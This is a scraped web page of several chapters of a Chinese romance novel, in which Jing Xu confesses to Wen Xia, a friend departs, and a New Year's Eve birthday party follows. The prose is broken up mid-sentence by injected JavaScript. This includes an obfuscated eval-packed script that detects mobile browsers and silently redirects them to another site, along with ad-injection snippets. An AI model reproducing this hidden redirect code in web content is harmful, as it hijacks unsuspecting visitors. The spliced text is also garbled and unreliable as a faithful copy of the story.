醒来时已经快要零点。 一天没吃东西的他看了眼时间,起身去厨房煮了碗面。 回房间后,景栩受不了身上的油烟味,又去冲了澡。 此时的他毫无困意。 自从创立了工作室,他作息常常昼夜颠倒。 家里大,即使他早出晚归在家里开派对都不一定会对家人有影响。但和家人住久了他们难免担心他的工作状态对身体不好,他就干脆搬出来一个人住。 此时房间里没什么声音。 在安静的环境里,人难免思维活跃。 温夏喝醉那晚发生的事儿此刻一帧一帧浮上脑海。 最后定格在她说“我想蹭蹭你的好运气”。 他像是想起什么,起身一阵翻箱倒柜后,翻到一个精致的蓝色天鹅绒盒子。 盒子里安静躺着一枚硬币。硬币的两面,一面是年轻的英国女王,另一面是英格兰玫瑰和三叶草。 这枚硬币还是早年间外婆在英国留学时收到的礼物,他工作室正式成立那天,外婆把这枚硬币送给了他。 外婆说,这枚幸运六便士代表好运。 他想把这份好运送给温夏。 休息了一天,景栩又回了工作室。 堰青的风越来越刺骨,出了趟国的宋陆鸣一回来就立刻给景栩打电话,连寒暄都没有直接提要求:“晚上给小爷办个接风宴,地儿你随便挑。” 景栩接到电话时,正好开完一个视频会议,和工作室的伙伴们商讨出初步的设计概念。 宋陆鸣说完,他揉揉眉心,轻轻合上因长时间盯着电脑屏幕和熬夜而充满红血丝的眼睛。本来想说一句“你不就出了三天国,接的哪门子风”。后来想想,宋陆鸣爱玩爱热闹,连生日都要庆祝两次,平日里哪怕没有由头都要组局,也就没再多说什么:“行,晚上七点,老地方见。” 宋陆鸣:“好嘞!” 景栩在撂电话之前多问了一嘴:“还请了哪些人?” “没了,就和你。”宋陆鸣听起来大概也是没休息好,“等我休整两天再请大家出来玩。” 景栩出门前,把硬币装进兜里。 或许吃完饭,还能拐去青外一趟。 因为这段时间两个人都累,这顿饭结束得很快,甚至和上次聚一样,没品尝老板娘送过来的桃花酒。 宋陆鸣问景栩去哪,景栩低垂着眉眼淡淡回了句:“青外。” 宋陆鸣没觉得有什么不对,只随口接了句:“去干嘛?” 这是短期内,景栩第二次被问住。 见他迟迟没回答,宋陆鸣察觉出些不对劲。 以前的景栩,有事就说事,不会支支吾吾半天,甚至有点遮掩的意味。 “怎么回事儿?”宋陆鸣八卦基因觉醒,“有情况?” 景栩懒懒掀着眼皮睨他一眼,没说话。 要说有情况,现在这个程度肯定还差得远。 他不会因为一个模糊不清的念头,就匆忙表达些什么。 这样无论是对自己,还是对对方,都是非常不负责任的做法。 宋陆鸣很少能看得透景栩,现在景栩不愿意多说,他也不会胡乱瞎猜。 景栩往前走两步,看到本来想去青外偶遇的人。 之前听她说找了份工作,算一算她应该入职了一段时间。 这个聚会要么是跟新朋友,要么是跟同事。 但这些都不重要,重要的是她身边站着一个男人。 看起来是同龄人,两人有说有笑,男生的视线从来没有离开过她。 甚至在大家站在路边打车时,男人还特意去买了热饮给她暖手。 景栩距离他们并不远。 他可以很清楚地听到那群人的起哄声——因为男人只给温夏一个人买了热饮。 宋陆鸣自然也看见了,“什么情况?” “不知道。”景栩目光瞥向那处,语气淡淡,听不出什么情绪。 他看见温夏礼貌一笑,接过了那杯咖啡。 宋陆鸣没想看久,他催着景栩:“走吧。” 两人一起去了车库,在路口分开后,景栩开往了温夏所在的位置。 此时街边已经看不 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一路上他想了很多,想起喝醉的温夏,想起堰青下初雪那晚站在路灯下的温夏,想起刚才和别的男人站在一起的温夏,甚至还想起了在树阳时的温夏。 他觉得。 宋陆鸣好像一语成谶了。 他好像,真的“有情况”了。 可是他不清楚温夏的想法,温夏的醉话应该当不得真。 他现在也不了解温夏的感情状况。 他也害怕现在这个想法只是自己一时冲动,只是因为前段时间刚和她那么接触过所以头脑一热。 他应该理智,应该在深思熟虑之后,再有所行动。 可是,有些事情哪怕是作为朋友也可以关心的。 在过最后一个红灯的时候,他状似不经意地问了句:“男朋友?” 温夏一直低着头,没敢主动和他讲话。 她时不时用余光偷偷瞥他,他似乎也没有想要主动开口的意思。 这么冷不丁冒出一句,温夏脑袋没反应过来,“啊?”了声。 “刚才那位。” 怕他误会,温夏没有任何停顿脱口而出:“不是。” “只是同事。” 景栩听到这句话,嘴角几步可查地动了一下。 随即又试探性地问了句:“这么晚了,怎么没让男朋友过来接你。” “没有男朋友。” 景栩彻底开心了,但面上仍看不出情绪。 好像这些问题他真的只是随口一问,对问题的答案丝毫不在意。 温夏暗暗松了口气。 尽管知道自己和他没什么可能,但还是不希望他误会什么。 景栩把温夏送到宿舍楼下,在她下车前终于想起自己兜里有礼物。 他把盒子拿出来:“这个送给你,希望你喜欢。” 温夏看着他手里的盒子迟迟没有动作。 “无功不受禄。”温夏说,“我不能收。” 景栩看她一眼。 似乎不太理解。 因为他身边的女孩子,似乎都心安理得地接受礼物,表达开心并大方表达喜欢。 温夏被看得有点不自然,垂着头低声解释:“我不太习惯别人对我好。” 如果现在换一个人,她似乎也能接受。 但现在送她礼物的人是景栩,她不敢收。 她怕自己会控制不住地乱想。 景栩当然不知道她的心思,只说:“里面就是个硬币,不是什么值钱的玩意儿。它叫幸运六便士,希望能给你带来好运。” 景栩没给她拒绝的机会:“大不了改天请我吃顿饭,一个硬币换一顿饭,我还挺划算的。” 温夏捏着盒子:“好。” 回到宿舍后,温夏看着硬币愣了半天神。 好半晌后,鼓起勇气给景栩发了条消息:【你什么时候有时间?】 景栩大概在开车,过了将近一个小时才回过来。 【看你时间来。】 温夏:【看宋陆鸣朋友圈说你最近很忙,那……等你忙完这段时间?】 几秒钟后,景栩发过来一条语音:“我对你有时间。” 36. 下雪夜 他声音一向温柔,像初春融化的池水。 温夏没开公放,是放在耳边听的,短短几个字,听得她耳朵发麻。 她还没来得及开灯,宿舍里只有学校大灯晃进来的亮度,很暗,但也不影响视线。 在这样的环境里,他的嗓音莫名勾人。 这句话似乎没什么不妥,但又似乎暗含暧昧。 她不敢猜景栩的心思,害怕最后结果只是自己一厢情愿。 她怕在自己世界里惊涛骇浪的事,在他的世界里毫无涟漪。 她像见鬼一样把手机丢了出去,没再回。 她强迫自己不去想,开了灯去洗澡。 等洗完澡出来,她忍住没看手机。想着等会儿吹干头发直接睡觉。 但睡前还是没忍住,看了眼手机。 景栩发来的一条:【明天你有时间吗?】 看时间,这句是在他发完那条语音后十分钟发过来的。 温夏彻底不淡定了,她翻来覆去睡不着。 爬起来去桌上拿了双那枚幸运六便士握在手里,心跳砰砰。 而让另一边,回到家的景栩心跳似乎也不太听话。 他盯着天花板发呆到后半夜,实在睡不着便打开了投影仪,随便找了部电影。 而电影内容他也没看进去,每隔几分钟就要看一次手机。 而温夏一直没回。 他忽然想起给她买热饮的男人。 他是在追求她吗?还是说两个人已经在暧昧阶段了?温夏说“只是同事”,是不是因为温夏觉得没必要跟自己说这么多? 可是她喝醉的时候,说的话是什么意思?她说也不是每次下雪都会开心,开心是因为他在……真的只是醉话吗,完全不具备参考意义吗? 本就毫无困意,现在更是睡不着了。 终于在他迷迷糊糊间,手机响了一下,温夏回:【有的。】 景栩:【那明天一起吃个饭?】 温夏:【好。】 景栩想了想,但又怕她觉得冒犯,还是没说出去接她下班的话。 两人约定了吃饭的地儿,互道晚安,景栩关了电影,沾上枕头就睡着了。 温夏临时加了个班,给景栩发消息让他饿了就先吃,下次再约。 没想到景栩发过来:【没关系,我可以等会儿。】 他一向如此绅士,温夏有些不好意思让他等着,于是反复说自己会尽快,如果到七点她还没忙完,让他先吃。 温夏本来以为只是一个小活,像平时一样一个小时内搞定。 没想到等她结束已经晚上十点。 她赶紧拿起手机,这期间景栩没给他发过消息,也没有催过她。 她不会自恋到景栩会为了等自己而真的饿着肚子,但她还是礼貌性地问了句:【你吃过了吗?】 景栩:【吃过了,你晚饭吃的什么?】 温夏:【面包。】 景栩:【现在加完班了?】 温夏:【嗯。】 景栩:【要不要一起吃宵夜?】 温夏抿着唇打完一句:【想吃什么?】 景栩:【你那打车不方便吧?我来接你一起过去?】 温夏垂着眸,想着这样太麻烦他,正想拒绝,景栩又发来一条:【地址发我。】 景栩看了地址,说大概二十分钟到。 温夏看时间差不多了,才收拾包去楼下等。 景栩带她去了上次那家私房菜馆。 这家店这么晚了居然还营业。 宵夜有专门的菜单,景栩把菜单递给温夏,她大致看了一眼,都是些健康的菜肴。 但汤面比外面贵了几倍。 温夏觉得这家店还真人性化。明明可以直接抢,但她还是得到了一碗汤面。 景栩点了碗海鲜粥,又点了一些当季的水果,最后给她要了杯温开水。 吃完景栩说送她回去 这段时间温夏想活在梦里。 因为景栩好像频繁出现在她的生活里,存在感极强。 她从小就擅长及时止损,在自己彻底沦陷无法自拔前,她跟景栩说:“景栩,你不用这样的。” 因为在他看来一个正常不过的举动,她会胡思乱想。 景栩开着车,被她说得一头雾水:“什么样儿?” “送我礼物,约我吃饭,送我回宿舍……”温夏声音越来越小。 景栩靠边停了车,他心里想着措辞。 他害怕冒犯到她,所以良久才开口:“温夏,我也不是对所有人都这样。” 温夏听到这句话,心跳停住一拍。 景栩似乎认真想着要怎么给她解释,沉默的气氛在车里蔓延开。 隔了好几分钟景栩的声音才再度响起:“我之前没有谈过恋爱,好像也没觉得自己喜欢过谁。 “我也不知道现在对你是不是喜欢,我必须要跟你坦诚这一点。 “但是我这几天总会想起下初雪那天你喊我时的模样,雪就这么飘下来,你站在路灯下,像好宁静的一幅画。 “我会送好朋友礼物,参加过不少生日会,我甚至也送过不少女性朋友生日礼物。但没有哪一次礼物,像送给你这一次一样。我会担心你会不会喜欢,是不是需要,送出去的东西会不会让你觉得边界被跨越,会不会让你不舒服…… “那天你喝醉之后的事你应该不记得了。 “你说你觉得我很幸运,所以想要蹭蹭我的好运气。所以我想把外婆送我的幸运六便士送给你。 “我之前路过一个做木工的工作室,在我没有想好之前我就走进去了。因为我下意识想要送你礼物,想让你开心。可我坐在工作室里,发现自己好像不了解你。我不知道送你什么你会开心。 “看到有人给你送热饮,我心里不是滋味。我会想,他为什么要给你送?你们是不是正在交往……如果你正在交往的话,按常理来说,我会替你高兴。可是我没有。 “温夏,喜欢是不按常理出牌的事。 “你说你也不是每次下雪都会开心,你会开心,是因为有我在。我不知道这是不是醉话,我也不知道你对我到底是什么样的想法。 “但是我觉得,我对你的这些反应,应该就是喜欢。” 温夏越听心跳越快。 因为他的话,在一步一步印证她这段时间她自以为的胡思乱想。 温夏不知道什么时候哭了,哭的无声无息。 甚至她都不知道自己哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715691|137072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 景栩想替她擦眼泪。 但她一直没说话,他敢做的事只是给她递了一包纸巾,然后温柔询问:“我是不是……吓到你了?” 温夏想止住哭,却发现此刻对自己的眼泪无能为力。 她怎么能忍住不哭。 这一刻,被她藏在心里那些百转回肠的话,和那些曲折灰暗的时光好像都不重要了。 因为。 她年少努力追逐的少年。 现在在对她说喜欢。 她走到了他的世界里。 被他看见。 并且。 被他喜欢。 她抽抽嗒嗒好半天才拼凑出一句完整的话:“景栩,我好羡慕你。” 喜欢就大方表达,勇敢尝试。 至于会不会有后续,那是以后的事。 他一向如此。 不像她,谨小慎微,瞻前顾后,思虑良多。 景栩没听懂这句话,“什么?” 温夏没回答他,也不知道如何回答。 她侧头看向他,路灯透过挡风玻璃投映在她的睫毛上:“那你现在,跟我说这些,是什么意思?” 景栩愣住,随即一笑: “温同学,不明显吗? “我想追你。” 这句话像一颗炸弹,猝不及防间被景栩扔进温夏的世界里。 温夏听完这句,眼泪更凶了。 记忆里,温夏只哭过一次。 其余的任何时刻,她都像蒲草般坚韧,好像不会掉眼泪。 她这一哭,景栩就有些慌了。 他不知道温夏为什么哭,只能一遍一遍地说一些苍白的语言安慰她。 到后面,他从她手里拿走纸巾,一遍一遍替她擦眼泪。 景栩害怕是因为自己突然说这些话吓到她,给出了一个解决方案:“温夏,这毕竟是我第一次对女孩儿这么表达心意。如果你觉得受到打扰,我跟你道歉。今后的相处你觉得有什么不合适的,直接告诉,我来想办法找一个你可以接受的方式……行不行? “但是,那句话不是在开玩笑。 “你说我对你好,但好像……我好像还什么都没做。就算做了什么,比如送礼物、请你吃好吃的、接送你上下班等等,这些也都是正常的。我不希望做这些事给你造成负担。” 景栩谈合作做方案汇报时条理清晰,现在跟温夏说这些话却毫无逻辑,大概是因为慌张,又或许是因为别的,他只能想到什么说什么。 他也不知道自己有没有把要说的表达清楚,也不知道温夏这个状态是不是把他的话听进去了。 他说完停下来,等温夏给反应。 雪忽然飘下来,落在挡风玻璃上,但很快消失不见。 温夏眼睛一眨不眨地看着。 不知过去多久,她没头没脑轻声说了句:“景栩,下雪了。” 他不明所以:“嗯。” 温夏终于看向他,无声眨了眨眼后一字一顿:“那你要追久一点。” 她说完身体往座椅更里的位置靠,耳尖泛红,一双眼睛只敢偷偷瞥他。 她看到他愣了一下,随后唇角微挽。 然后她听到他说:“行。” 37. 开出花 今晚发生的事,温夏一直到回宿舍都没缓过来。 像一场梦。 不仅仅是今晚。从在树阳遇到他开始,一直到现在,在她生命里,每一段与他有关的记忆都像是绵长而温暖的梦境。 她躺在床上,回想起景栩说的那些话,后知后觉地翘起了喜悦的小尾巴,在床上左右滚。莫名想起喝醉那晚她对景栩做的那些胆大妄为的事儿,脸在一瞬间变得滚烫。 尽管宿舍里只有她一个人,她还是害羞得将脸藏进被窝。 在她把脸埋进去那一瞬,放在枕边的手机振动一下。 她拿起手机看,是景栩发来的消息,给她报了平安,还跟她说了晚安。 她正要回“晚安”,景栩又发来一条:【明天送你上班?】 温夏矜持了两分钟:【好。】 景栩:【明天见。】 温夏嘴角的弧度就没平过,看到这句,眼底笑意更深。 她翻身双手撑在床上,双脚勾起一晃一晃,边笑边回:【明天见。】 温夏刚把手机放下,手机又震动了。 这次不是景栩的消息。 是卢杭的。 想起来,她的确很久没见过卢杭了。 他估计在忙毕业的事。 温夏对于朋友关系一向是顺其自然,更大的原因是怕给别人造成困扰。 所以她极少有主动联系别人的时候。 卢杭说:【温夏,抽个时间见一面吧。】 温夏回了个“好”字。 自从来堰青,卢杭都挺照顾她的,她发了实习工资,本来想正式请他吃顿饭,但在她说出自己的想法之前,卢杭已经确定好了时间地点:【明天下午六点,请我吃青外的食堂吧。】 温夏盯着这行字,半晌才回“好”。 卢杭看着两人的聊天框,无声叹了口气。 这个问题这段时间一直盘踞在他脑海里:如果他不主动联系她,她是不是永远都不会想起身边还有他这么一个人? 前段时间他一直在忙,但仍会每天来青外。 他知道温夏有自己的世界,她在自己的世界里很自得。也知道温夏只是把他当朋友,所以他不敢频繁地出现在她生活里,怕惹她厌烦。 所以每次来,都只是远远看她一眼。 月初时,导师说近期需要做个实验,让他跟着学习一下。 他好不容易拿到假期,走出实验室的时候,他还去蛋糕店给她买了芒果蛋糕。 没想到看到了景栩。 那天堰青下了初雪。 他提着芒果蛋糕,就站在他们不远处,看到下雪时她想叫住景栩时的纠结和犹豫。 她倒不是胆怯的人,但很多时候她会隐掉自己的勇气,以此来减少许多麻烦。但那天她在纠结犹豫过后,还是叫住了景栩。 他也不是没想过和景栩公平竞争,但他之后又看到一向内敛的温夏,主动而坚定地,一步一步走向了景栩,并抱住了他…… 就在那一个瞬间,他明白自己做什么都会是徒劳。 不如保持着朋友的关系。 或许还能换来另一种意义上的“天长地久”。 景栩不在的那段时间,他以朋友之名陪在她身边。 他就当是自己捡来的时光。 他该知足。 有时候,人是不该奢求太多的。 - 翌日,温夏在生物钟前醒了。 她爬起来化了个淡妆,拿出生日时格格送她的那支大牌口红,对着镜子想了半天这口红薄涂还是厚涂。纠结了几分钟,想着还是不要打扮得太刻意,就薄薄涂了一层。 昨天和景栩约的时间是七点,她出门时才六点半。 下楼时看到景栩已经在楼下了。他手里拎着纸袋,里面有一杯热豆浆和一瓶热牛奶,另一个纸袋子里装了可丽饼和欧姆蛋,最底下还有两个粢饭团。 温夏步子不自觉加快:“怎么过来这么早?” 景栩把纸袋子递给她:“本来想早点起来,过来接你一起吃早饭。没想到起太早了,就干脆自己做了,第一次做,希望会好吃。” 他记得高中时温夏挺喜欢吃粢饭团的,就学着做了。 他担心不好吃,来的路上就又买了些面包。 温夏结果纸袋,道了句谢。 景栩给她拉开副驾的门,她怕冷,赶紧坐了进去。 景栩做的,温夏很给面子地把两个粢饭团吃完了。但面包和牛奶豆浆都原封不动地待在纸袋里。 景栩中午要开会,校方说初步的设计概念需要调整,会议不知道什么时候结束,他就约了温夏吃晚饭。 温夏没答应,说今天约了卢杭。 景栩记得卢杭,顺着聊了几句。 两人没深聊,似乎只是提到一个无足轻重的人。知道高中时的同桌现在过得不赖,景栩就没再继续这个话题。 温夏下班前临时被扔了个小活儿,她认命般地叹了口气,坐回工位加班。 她给卢杭发消息表示抱歉,只能改天再约。 卢杭向来善解人意,但今天态度十分强硬,这顿饭似乎非吃不可。 温夏加快速度,想尽快赶回学校。 只是,她赶回去时食堂已经关门。唯一开着的二食堂只有一楼的三窗口还亮着灯。 三窗口是卖粉面的,眼下温夏似乎只能请他吃牛肉面。 此时食堂没几个人,食堂阿姨大概也想早下班,很快将两碗面端出来。 两人取了餐后,就近挑了两个位置坐下。 温夏问:“怎么了。” 卢杭半挑着眉,从他的语气和表情温夏都看不出异样:“好久没见了,今天得空,想着约你吃个饭。” 温夏起身去食堂的自动贩卖机买了两瓶水,递给卢杭一瓶。 卢杭拧开喝酒似的灌了一口,视线定格在温夏脸上,忽而开口:“我要去西霖市了。” “去旅游吗?”温夏没察觉什么不对。 卢杭移开视线,“不是。我保研了,西霖大学。” 温夏愣了一瞬后笑得眉眼弯弯:“听说西霖的临床医学很厉害,恭喜你啊。” 说着,她举起水:“敬以后的卢医生。” 卢杭举起水瓶和她碰了碰:“借你吉言。” 温夏低着头吃东西,卢杭看着她,忽然自嘲地笑笑。 她刚才说的那句恭喜至少比刚来堰青时顺耳多了。 至少不是疏离而客套的。 她作为朋友,真心实意地为他高兴。 温夏向来胃口小,所以即使上了大学后营养跟上了,依然很瘦。 卢杭把碗里的牛肉全部夹给她:“多吃点。” 温夏以为卢杭专门约她吃顿饭是有话要说,但他什么都没说。 温夏隐约察觉到什么,但又拿不准。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >因为回忆起来,他对自己和对别人好像没什么不同。 所以,应该不是她所想的那样。 这次道别似乎也没什么特别。 她松了口气。 两人沉默着吃完了这顿饭,卢杭顺手给她递过来张纸巾:“走吧。” 卢杭送她到宿舍门口,整个人匿在树影里,旁边就立着路灯,温夏却看不清他的表情。 他说:“温夏,西霖市离这儿很远。” “嗯?” “树阳离西霖也很远。” “……” “我以后估计就留在西霖了。” “挺好的。” 卢杭欲言又止,两秒后才缓声道:“我们估计很难再见了。” 温夏不知道说什么好,“……我们还是会再见的。” “常联系。”卢杭故作轻松吐出一句。 温夏垂着头,不知道在想什么。 卢杭本来想直接抱住她,但内心挣扎几秒,还是决定只微微张开双臂,然后轻声询问她:“抱一下吧?” 这是他目前为止,唯一大胆的一次。 即使如此,他还是不敢先一步有动作。 他最大的勇气,只是张开双臂,等着她自愿。 温夏看着他,每次和格格分别的那种酸涩感突然涌上心头。 她的朋友算不上多,所以她尽可能地珍惜和每个人相处的时光。 现在卢杭猝不及防要去那么远。 道别来得这么猝不及防。 她向前走了两步,抱住卢杭:“这段时间,谢谢你照顾我……谢谢你成为我的朋友。” 卢杭收紧手臂,好半晌才闷闷道:“温夏,再见” “嗯。” “多吃点饭,太瘦了。” “会的。” “好好的。” “嗯。你也要保重。” 耳边只剩下隆冬的风声。 “常联系。”他又说了一遍。 温夏从他怀里退出来:“祝你一切顺利。” - 回宿舍后,温夏收到景栩消息。 景栩给她发了家里猫咪的照片,他说猫咪叫元宝,是他半个月前在小区垃圾站旁捡到的。 他应该把元宝养得很好,现在的元宝看起来依然很瘦,但干干净净。 元宝可能被他逗烦了,趴在玄关处的鞋柜上一脸不耐烦地看着他。 温夏想起自己很久之前买了一个猫咪挂件,那个挂件和元宝很像。 但时日太久,她已经不记得扔到哪个角落了。 在宿舍里翻了一圈,在衣柜最下方翻到了。 她拍了张照片给景栩发过去,景栩说真巧,这大概是缘分。 温夏看着缘分这两个字,喜悦从眼尾溢出。 微微的甜蜜感萦绕在她周围,和景栩聊的短短几句话她反复看了又看,那些字好似长出花儿来。 她沉浸在和景栩分享日常的甜蜜里。 她永远都不会知道。 这天晚上。 有一个人,在寒风里,站到了天亮。 天蒙蒙亮的时候,卢杭把最后一支烟按灭,扔进垃圾桶里。 他抬头看了眼温夏所在的楼层,低声说出了昨晚没说出口的话:“温夏,你喜欢我吧。” 这句话很快融进冷风里。 很快他嘴角扬起一抹笑:“算了,祝你幸福吧。” 38. 梧枝绿 景栩是一个很好的追求者。 他懂分寸,却没有让温夏感受到被冷落或者敷衍,任何事情都停在恰好的地方。 他邀约她一起做许多日常的事,比如吃饭逛街看电影,偶尔也会约她去看一些展览,或者去博物馆……他们之间没有惊心动魄的经历,甚至很多时候的相处画面不似爱情电影般唯美。温夏却久违地感受到沉稳安心的幸福。 美好得甚至让人恍惚间会觉得置身幻境。 温夏常常想,如果这场幻境注定有破碎的那天,无论到时有多支离破碎,多痛苦,即使这会成为她余生的痼疾……她都将对这场短暂的幻境终身铭记。 本年度的最后一天,温夏卡里多了一笔钱。工资和奖金都提前发了,其中一千是这段时间总听老员工念起的节日福利。 收到短信提醒时,连续加了好几天班翻译剧本的温夏脸上的疲倦都淡了不少。连看着工位上那盆快枯死的绿萝都能高兴得哼小曲儿。 午休时她忙里偷闲给景栩发了消息,编辑好了“今天主管发了好大的火,假发套都气掉了,他的光头比灯泡都亮”,却在发送前一秒换成了较为保险的一句:【在忙吗?】 景栩大概是在忙,没立刻回复她。 有同事约温夏一起跨年,温夏婉拒了。 说来也巧,这段时间景栩几乎每天都会接送温夏上下班,却没有一次碰到过温夏的同事。 毫不知情的同事们说元旦没花头的单身男女一起约个趴,也好打发时间。 温夏早在一周前就和景栩约好了今天的时间。 当时宋陆鸣也在场,他说都三年没给景栩庆祝过生日了,今年景栩的生日要过得热闹些,把好朋友都叫上,顺便一起跨年。 发呆间,紧挨着工位和她同期的余清跑过来:“温夏,中午反正没事儿,又发了奖金,逛街去呗?” 温夏正好有要买的东西,拿起手机温温道:“走吧。” 云信传媒所处地段还算繁华,周围一圈好几家大型商场,她们选了一家最近的。 今天景栩生日,温夏想了好几天没想好送他什么。 说到底是根深蒂固在她心里的自卑心,送便宜了怕拿不出手。 尽管她知道景栩对这些并不看重。 和余清出来逛,也是碰碰运气。如果实在找不到称心的礼物,就送一支钢笔好了,钢笔似乎不会出错。 余清并不是想逛街,只是不想待在办公室,有人陪她,她自然乐意出来。 只是下午还要上班,她始终逛得不太尽兴,没多大会儿就拉着温夏从商场的另一方位走,“等放假了再来好好逛,先搬砖吧。” 经过一个橱窗前,温夏停下步子。 走出几步的余清察觉她没跟上,折回来:“怎么了?” 她顺着温夏的视线看过去,发现温夏正在看一款围巾。雾青色,摆在一众色彩明亮的围巾里,算不上显眼。 不显眼却自成一派,像在一片喧嚣中兀自生长的桃花源。尽管素净,却有令人无法忽视的气质和存在感。 这个形容,余清傍晚下班见到景栩时,感受更为具体。但这是后话。 她和温夏买完围巾,温夏又说要去买礼物盒,精挑细选了半个小时,还是选了一个平平无奇的灰色方形盒子。 余清看到价格时还调侃她:“花半个月工资买一条围巾,礼物盒就买这个?” 温夏微微一下以作回应,没多说。 回到工位上,温夏很快进入工作状态。 她中午给景栩发的消息,快下班了他才回过来:【刚开完小组会。】 【来接你下班?】 今天都不加班,甚至好多人已经提前走了,现在只剩下余清和她。 温夏起身去茶水间接了半杯热水后回:【好。】 期间景栩发来过消息,说路上这个点有点堵,她可能得稍微等会儿。 余清也在等男朋友过来接她,两个人就闲聊着打发时间。 将近两个小时后,温夏手机屏幕亮了。 景栩说他已经在她公司楼下。 温夏没什么可收拾的,但还是检查了一下妆容,补了层口红,又稍微打理了下头发,才拿起包往外走。 她远远就看到了景栩,他把车停在了马路对面。 景栩穿了身韩系长款风衣,内搭是黑色的高领毛衣,都是黑色。在昏暗的街道里,远远一看,他整个人像是和他身后的黑色G63融为一体。 他没在车里等,而是倚靠在车门处,微低着头,一手拎着牛皮袋,另一只手因为嫌冷而藏进了大衣口袋。他身高腿长,身材比例极佳,头发修剪得干净利落,站在那处,像极了余清总给她看的那些韩剧男主角。 温夏等了个十秒的红灯,景栩早早就在马路对面交通灯下等着。 显示绿灯的时候,他和温夏从马路两端一起出发,在马路中间接到温夏,笑着嘱咐她:“不用跑,不着急。” 说话时,他把纸袋里冒着热气的榛果热可可拿出来,递给温夏:“暖暖手。” 余清在温夏走出办公室后没多久也走了,此时她正站在公司大厦门口看着这一幕。 男人大概是温夏男朋友。 她脑子里冒出这个猜测,却也没找温夏求证。她和温夏只是再普通不过的同事关系,她还没有八卦到不知分寸的地步。 男人像极了温夏在商场选的那条雾青色围巾,站在车水马龙的热闹里,却独树一帜,可以轻松抓住别人眼球。 她没再多看,上了男朋友的小电动车脆生生喊了句:“去吃那家我们馋了很久的烤肉吧!” - 温夏捧着热可可,一到冬天就冰凉的手显得不那么单薄。 景栩车里暖气很足,温夏摘下围巾,“走吧。” 说完这句话后她便一言不发,景栩也不像往常那样开车载音乐,车内气氛一时间陷入尴尬。 这是温夏第二次和他的朋友们见面,要说不紧张是假的。 且这一次的身份和第一次时有所不同,虽然她仍不是他的女友,但他们之间的关系切切实实更近了一步。且两人都有意愿往更进一步发展。 她坐在副驾,整张脸都紧绷着。 等红灯时,一向温柔有礼的景栩毫无征兆地轻握住她的手,拇指在她手背上不带任何色.欲地摩挲两下,似安抚。 他好像能看穿她的心思:“如果觉得不自在,今天我先把他们推了。” 那些是他早就约好的朋友,而且和他们相处过那一次,她知道他们都是好相处的人。温夏纠结几秒后回握住他的手:“没关系的。” 景栩有些意外她的回握,表情凝固一瞬,眼底像冰雪融化那般:“如果一会儿有任何不舒服,直接告诉我。” 景栩今年的生日在自己的房子过,因为年轻人多,吵吵闹闹,就没回长辈那边。 他们到的时候,宋陆鸣和其他三两好友已经把要采买的东西搬到客厅了,甚至花了点心思用灯条和彩带将房间装饰了一番。原本冷冰冰的房间温馨起来。 景栩从玄关鞋柜里拿了双新拖鞋,是她喜欢的梧枝绿。 这么久以来,这是她第二次来景栩家。 她万万没想到,景栩真的给她准备了绿色拖鞋。 喝醉那天的事儿一旦有个开端,就像毛衣上脱了针的线头一发不可收拾,她回忆起所有细节——回忆起自己的撒娇,脆弱,难堪和酒精作用下莫名滋生的勇气…… 视线再次落到那双梧枝绿的拖鞋,她表情滞凝一瞬,而后不经意扫过其他人的拖鞋,都是统一的灰色。她这双,是唯一的。 意识到这个事儿,她后知后觉地飞上一片红晕,手指也不由自主地蜷缩。 她所有的小动作都落在景栩眼里,景栩眼底浮起了然。 那晚的事儿,她应该记得不少。 他们的礼物都堆在了茶几上,温夏把装有围巾的盒子给他:“生日快乐。” 景栩接过,将它小心翼翼地放在了那一堆礼物旁边。 他们打算今天在景栩的阳台上烤肉,他这个地方临江,正好能看到跨年烟花。 宋陆鸣说,这里绝对是最佳视角,足够宽阔,且足够高,离烟花够近。他之前偶然地在这看过一次,像触手可及。 他们围坐在一起,聊天喝酒。 温夏突然感受到肚子不舒服,热流缓缓淌出,她心喊大事不妙。 她经期按理说还有几天,可能因为持续一周作息都不规律,提前了。 她起身去了洗手间,温夏正纠结着要不要发消息给景栩求助,就听到洗手间的门被敲响,紧接着传来一道清丽的女声:“需要帮忙吗?” 温夏听出是坐在她左边的杜嫄的声音:“我来月经了,你有没有带卫生巾?” “抱歉啊。”杜嫄说,“你稍微等一下,我现在下去买。” 等了大概十来分钟,洗手间的门被再次敲响。 杜嫄的声音再次传来:“给你放门口了。” 温夏忙喊了声“谢谢”。 杜嫄是个十 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 分体贴的人,购物袋里除了卫生巾,还有一次性的内裤和一条黑色线裙。 等她换好出来,回到位置上,坐在她右手边的景栩这会儿没在位置上。 温夏坐下,趁着其他人起哄让宋陆鸣干了的时候,杜嫄凑过来小声问:“有事儿吗?需不需要休息?” 温夏微微摇头:“没事。” 杜嫄突然转了话题,只是音量仍低:“你和阿栩在交往?” “啊?”尽管那是温夏向往的事,她还是不想有误会,垂着头解释,“……没有。” 杜嫄立刻得出了结论:“他在追你。” 温夏瞬间变红的脸颊代替她回答了这个问题。 杜嫄说,那些东西都是景栩交代她买的。 虽然他不交代她也会买,尽管景栩也知道这一点,他还是多嘴交代了几句。 要不是怕温夏不好意思,景栩可能都不会麻烦杜嫄下楼。 杜嫄还想说些什么,景栩已经端着一杯牛奶回来了。 他动作自然地将牛奶放在温夏面前,温夏端起来喝了一口,是温的。 他一向体贴又细心。 等大家喝得差不多,宋陆鸣跑去打开了电视。 电视里是某卫视的跨年晚会,此时主持人用标准的播音腔说:“即将迎来新的一年,让我们一起倒数……” 此时,景栩家落地窗前的高楼也亮起了红色的数字。 电视机前的这一群人举起手里的酒水,跟着节奏一起倒数。 他们推杯换盏,在清脆的碰杯声中一起迎来了新的一年。 窗外也正绽放烟花,五光十色。 增添了这座本就金光闪闪的城市的繁华。 